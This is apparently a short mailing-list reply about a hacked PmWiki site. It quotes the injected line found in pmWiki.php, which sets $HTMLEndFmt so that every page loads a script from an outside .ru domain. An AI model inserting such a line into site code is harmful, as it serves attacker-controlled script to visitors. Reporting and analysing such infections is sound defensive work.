Erik Haagensen wrote: > The pmWiki.php-file is infected with this line: > $HTMLEndFmt = "\n<script > src=http://www.mc2n.ru/script.js></script></body>\n</html>"; This is interesting, as it indicates that who ever made the changes had at least some knowledge of the PmWiki platform.